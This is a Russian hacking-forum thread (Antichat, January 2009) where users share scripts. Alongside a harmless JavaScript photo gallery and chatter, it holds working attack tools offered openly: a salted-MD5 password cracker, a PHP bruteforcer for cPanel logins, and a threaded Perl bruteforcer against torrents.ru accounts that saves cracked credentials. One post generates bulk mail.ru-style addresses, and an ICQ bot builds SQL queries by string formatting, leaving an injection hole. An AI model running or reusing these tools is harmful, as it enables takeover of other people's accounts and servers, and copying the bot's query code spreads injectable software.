ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Красивая галерея фоток, картинок в два клика
  #571  
Старый 06.01.2009, 19:58
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Красивая галерея фоток, картинок в два клика

Основано на javasсriрt, если конкретней на lightgallery, проверено на narod.ru (где, как известно, кроме javasсriрt ничего больше и нет - значит будет работать на любом сайте), аналогов нет. С анимацией и превьюшками и автоподстройкой под разрешение монитора.

Посмотреть в действии здесь:

http://pashkela.narod.ru/foto/index.html

скачать здесь:

http://pashkela.narod.ru/foto/gallery.rar

В комплекте несколько файлов:

1. Каталог lightgallery - там скрипты, кнопки и прочее
2. Тестовые картинки 1.jpg, 2.jpg, 3.jpg, 4.jpg (просто, чтобы понять, как работает)
3. Основная страница - index.html

Принцип проще некуда (найдете проще - отпишитесь):

1. Скачиваем и распаковываем на свой комп http://pashkela.narod.ru/foto/gallery.rar
2. Открываем index.html в блокноте (правая кнопочка мышки на файл-открыть с помощью-блокнот)
3. Сверху нас интересуют только три строчки:

//КОЛИЧЕСТВО ФОТОГРАФИЙ

var kol=4;

//РАСШИРЕНИЕ ФОТОГРАФИЙ (.jpg, .gif, .bmp, etc...)

var ras = "jpg";

//НАЗВАНИЕ ГАЛЕРЕИ

var naz = "НОВЫЙ ГОД";

думаю тут объяснять не надо, просто меняете на свои параметры и всё.

Заливает на свой сервер, например http://ваш_ник_на_народе/foto/

туда же заливаете фотки, ТУТ ВНИМАТЕЛЬНО:

все фотки просто должны быть переименованы в

1.jpg, 2.jpg, 3.jpg, 4.jpg.......100.jpg

ну естественно начиная с 1 и заканчивая просто сколько у вас фоток. Если не .jpg, то и ничего страшного, просто в index.html укажите Ваш тип расширения

Собственно и всё. Переходите по адресу http://ваш_ник_на_народе/foto/index.html и наслаждаетесь
 
Ответить с цитированием

брут мд5 хэшей с солью.
  #572  
Старый 08.01.2009, 07:58
Кемит Блонски
Новичок
Регистрация: 04.01.2009
Сообщений: 12
Провел на форуме:
46968

Репутация: 58
По умолчанию брут мд5 хэшей с солью.

брут мд5 хэшей с солью.

PHP код:
set_time_limit(0); 
if (!isset(
$_POST['crack'])) { 
echo 
"<i>World-List</i>: <input type='text' name='list'><br>"
echo 
"<i>MD5 Hash</i>: <input type='text' name='hash'><br>"
echo 
"<i>Salt</i>: <input type='text' name='salt'><br>"
echo 
"<input type='submit' name='submit' value='Crack The Salt!'>"
$list $_POST['list']; 
$hash $_POST['hash']; 
$salt $_POST['salt']; 
}else{ 
  
foreach(
file($list) as $line){ 
$line str_replace("\n","",$line); 
$cracked md5(md5($line).$salt); 
if(
$hash $cracked){ 
die(
"Salt Broken...<br> 
    [+]Password = 
$line<br>"); 
  

}else{ 
echo 
"Sorry mate, no payoff today, try another list!"

?> 
 
Ответить с цитированием

cPanel 11 Bruteforcer [php]
  #573  
Старый 08.01.2009, 08:00
Кемит Блонски
Новичок
Регистрация: 04.01.2009
Сообщений: 12
Провел на форуме:
46968

Репутация: 58
По умолчанию cPanel 11 Bruteforcer [php]

cPanel 11 Bruteforcer [php]


PHP код:
<?php  
echo "URL (cPanel Main Page e.G http://site.com:2082): ";  
$url trim(fgets(STDIN));  
echo 
"USER TO BRUTE: ";  
$user trim(fgets(STDIN));  
echo 
"PASSLIST: ";  
$passlist trim(fgets(STDIN));  
brute_cPanel($url$user$passlist);  
function 
login_cPanel($url$user$pass)  
{  
    
$target trim($url)."/login/";  
    
$post_data "login_theme=cpanel&user=".$user."&pass=".$pass;  
    
$referer trim($url);  
    
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3";  
    
$curl_conf = array(  
        
CURLOPT_RETURNTRANSFER => TRUE,  
        
CURLOPT_FOLLOWLOCATION => TRUE,  
        
CURLOPT_USERAGENT => $user_agent,  
        
CURLOPT_REFERER => $referer,  
        
CURLOPT_POST => TRUE,  
        
CURLOPT_POSTFIELDS => $post_data  
    
);  
    
$curl_handle curl_init($target);  
    
curl_setopt_array($curl_handle$curl_conf);  
    
$content curl_exec($curl_handle);  
    
file_put_contents("result.htm"$content);  
    if (!
preg_match("[Login Attempt Failed\!]"$content))  
    {  
        return 
true;  
    }  
    else  
    {  
        return 
false;  
    }  
}  
function 
brute_cPanel($url$user$passlist)  
{  
    
$passes file($passlist);  
    
$count count($passes);  
    
$counter 0;  
    echo 
"CHECKING FOR ".$count." PASSES\r\n";  
    while (
$counter $count):  
        
$current_pass trim($passes[$counter]);  
        if (
login_cPanel($url$user$current_pass))  
        {  
            echo 
"SUCCESS: ".$current_pass."\r\n";  
            return 
true;  
        }  
        
$counter++;  
    endwhile;  
    return 
false;  
}  
?>
 
Ответить с цитированием

Генератор e-mail
  #574  
Старый 10.01.2009, 12:24
Qisse
Banned
Регистрация: 02.01.2009
Сообщений: 27
Провел на форуме:
186233

Репутация: 102
Отправить сообщение для Qisse с помощью ICQ
Arrow Генератор e-mail

Генератор e-mail

PHP код:
<?php 
/*  bk.ru || list.ru || mail.ru || inbox.ru  */ 
$domain 'bk.ru'
/* Generator */ 
$fp2 fopen("3d_mail.txt""a"); 
$str 'abcdefghijklmnopqrstuvwxyz0123456789'
for (
$iii=0$iii<strlen($str); $iii++) { 
for (
$ii=0$ii<strlen($str); $ii++) { 
for (
$i=0$i<strlen($str); $i++) { 
fputs($fp2$str[$i].$str[$ii].$str[$iii]."@".$domain."\r\n"); 
}}} 
fclose($fp2); 
?>
Данный гавно скриптик сгенерит 3х значные имейлы вида мыло@домен.ру Всего генерит 46656 мыл.
 
Ответить с цитированием

  #575  
Старый 10.01.2009, 13:19
burcev
Новичок
Регистрация: 30.06.2008
Сообщений: 26
Провел на форуме:
49719

Репутация: 2
По умолчанию

Цитата:
Сообщение от d_x  
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится

1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.


2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.


3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.


Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html

Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть.
 
Ответить с цитированием

  #576  
Старый 10.01.2009, 13:36
lisa99
Постоянный
Регистрация: 15.07.2008
Сообщений: 444
Провел на форуме:
1417964

Репутация: 665
По умолчанию

Цитата:
Сообщение от Pashkela  
Основано на javasсriрt, если конкретней на lightgallery,
.........
и наслаждаетесь
я уже давно ajax наслаждаюсь)
А что здесь сделал именно ты? Чем лучше, чем у автора?
===
я не поленилась, бегло посмотрела архив. сжатая библиотека js...и тд.
в общем, в чем разница по сравнению с этим?
http://www.jstoolbox.com/proekty/lightgallery/

Последний раз редактировалось lisa99; 10.01.2009 в 13:41..
 
Ответить с цитированием

  #577  
Старый 10.01.2009, 13:45
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

В автоматике добавления картинок. Только в этом. Нигде не видел варианта, где людям просто надо вписать кол-во картинок и название галереи и расширение на все файлы

А то, что основанно именно на lightgallery я и не скрывал, в посте по моему это отмечено (непонятно зачем бегло смотреть архив и не читать САМО сообщение)
 
Ответить с цитированием

  #578  
Старый 10.01.2009, 19:45
t00th
Banned
Регистрация: 15.07.2007
Сообщений: 39
Провел на форуме:
1122110

Репутация: 43
По умолчанию

Простой icq бот с кривым кодом, но кому надо исправит.
MySQL не знаю, тупо гуглом искал запросы
Код HTML:
#!/usr/bin/python
# -*- coding: cp1251 -*- 
from twisted.words.protocols import oscar 
from twisted.internet import protocol, reactor 
from urllib import quote 
import urllib2 
import re 
import MySQLdb 
import sys 
import time 
import md5
  
SN = '' 
PASS = '' 
icqMode = 1 
hostport = ('login.icq.com', 5190) 
infoMessage = "This is pyBot version 0.00001" 
too_much = "Sorry but you can send only 1 requests per 10 seconds"

class B(oscar.BOSConnection): 	
    capabilities = [oscar.CAP_CHAT]  	
    
    def initDone(self):
        self.requestSelfInfo().addCallback(self.gotSelfInfo) 
        self.requestSSI().addCallback(self.gotBuddyList)

    def gotSelfInfo(self, user):
        print user.__dict__
        self.name = user.name

    def gotBuddyList(self, l):
        print l 		
        self.activateSSI()
        self.setProfile("""Fuck on this""")
        self.setIdleTime(0)
        self.clientReady()
  	
    def receiveMessage(self, user, multiparts, flags):
        message = multiparts[0][0] 		
        if message == '!reg': 			
            self.reg(user.name) 		
        if message.startswith('!weather') and self.check(user.name): 			
           message, town = message.split()		         
           self.sendMessage(user.name, self.weather(town), wantAck = 0, autoResponse = 0, offline = 0) 			
        if message.startswith('!info') and self.check  (user.name):
            self.sendMessage(user.name, infoMessage, wantAck = 0, autoResponse = 0, offline = 0)
        if message.startswith('!md5') and self.check(user.name):
            message, md5_val = message.split()
            self.sendMessage(user.name, self.md5_conv(md5_val), wantAck = 0, autoResponse = 0, offline = 0)

    def check(self, uin):
        if (self.check_uin(uin) and self.last_req(uin)):
            return True

    def check_uin(self, uin):
        try: 
            conn = MySQLdb.connect(host= "", user = "", passwd = "", db = "")
        except MySQLdb.Error, e:
            print "Error", e 		
        try:
            cursor = conn.cursor()
            cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)      
            result = [row[0] for row in cursor.fetchall()]
            if not result:
                print "You not registred in service"
            else:
                return True
        except MySQLdb.Error, e:
           print "Error", e
        cursor.close()
        conn.commit()
        conn.close()

    def md5_conv(self, value):
        m = md5.new(value)
        return m.hexdigest()
  	
    def weather(self, town):
        url = 'http://pogoda.rbc.ru/search?search='
        hex_town = quote(town)
        res = urllib2.urlopen(url+hex_town).read()
        day = re.search("<p class='today'><b>(.*)</b>", res, re.M)
        if day:
            return day.group(1)
        else:
            return "Town not found"

    def last_req(self, uin): 
        try:
            conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
        except MySQLdb.Error, e:
            print "Error", e
        try:
            cursor = conn.cursor()
            cursor.execute("""SELECT last_req FROM users WHERE uin=%s""" % uin)
            result = [row[0] for row in cursor.fetchall()]
            result = int(time.time() - result[0])
            cursor.execute("""UPDATE users SET last_req=%f WHERE uin='%s'""" % (time.time(), uin))
            if (result > 10):
                return True
            else:
                self.sendMessage(uin, too_much, wantAck = 0, autoResponse = 0, offline = 0) 		         
        except MySQLdb.Error, e:
            print "Error", e
            cursor.close()
            conn.commit()
            conn.close()

    def reg(self, uin):
        try:
            conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
        except MySQLdb.Error, e:
            print "Error %d: %s" % (e.args[0], e.args[1])
            sys.exit(1)
        try:
            cursor = conn.cursor()
            cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)      
            result = [row[0] for row in cursor.fetchall()]
            if result:
                self.sendMessage(uin, "You already registred in this service", wantAck = 0, autoResponse = 0, offline = 0)
            else:
                cursor.execute("""INSERT INTO users (uin, last_req) VALUES ('%s', '%s')""" % (uin,time.time()))
                print "Number of rows inserted: %d" % cursor.rowcount
                cursor.close()
        except MySQLdb.Error, e:
            print "Error %d: %s" % (e.args[0], e.args[1])
            sys.exit(1)
            conn.commit()
            conn.close()
class OA(oscar.OscarAuthenticator):
    BOSClass = B  protocol.ClientCreator(reactor, OA, SN, PASS, icq=icqMode).connectTCP(*hostport)
reactor.run()
 
Ответить с цитированием

Torrents.ru Bruteforce
  #579  
Старый 10.01.2009, 22:12
fuck all
Познающий
Регистрация: 23.11.2008
Сообщений: 31
Провел на форуме:
166977

Репутация: 23
Thumbs up Torrents.ru Bruteforce

Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))

Код:
#!/usr/bin/perl

###################################################
# В папку со скриптом киньте 2 файла:             #
# pass.txt (Словарь), good.txt (Взбрученные аккки)#
###################################################

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Torrent.ru Bruteforce by Fuck all\n";
print "\n Starting brute...\n";

open (FP , '<pass.txt') || die ("No password list! \n");  # Пароли в  pass.txt
my @pass = <FP>;
close FP;

my $login_username = 'ALeXX'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);   
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);

$i=($i+1) % 5; #Количество потоков  (5)

}

 foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://torrents.ru/forum/login.php', {
'st.posted'=>'set',
'login_username'=>$_[0],
'login_password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[0]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
die ('PASSWORD FOUND!!!!!\n\n\n');
}
else
{
print "[-] BAD $_[1]\n";

}}

#c0ded by Fuck all;
 
Ответить с цитированием

  #580  
Старый 10.01.2009, 23:56
D Mak
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
Провел на форуме:
1051973

Репутация: 116
Отправить сообщение для D Mak с помощью ICQ
По умолчанию

Цитата:
Сообщение от fuck all  
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))
смысл торент.ру брутить?
там итак нахаляву качать можно..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ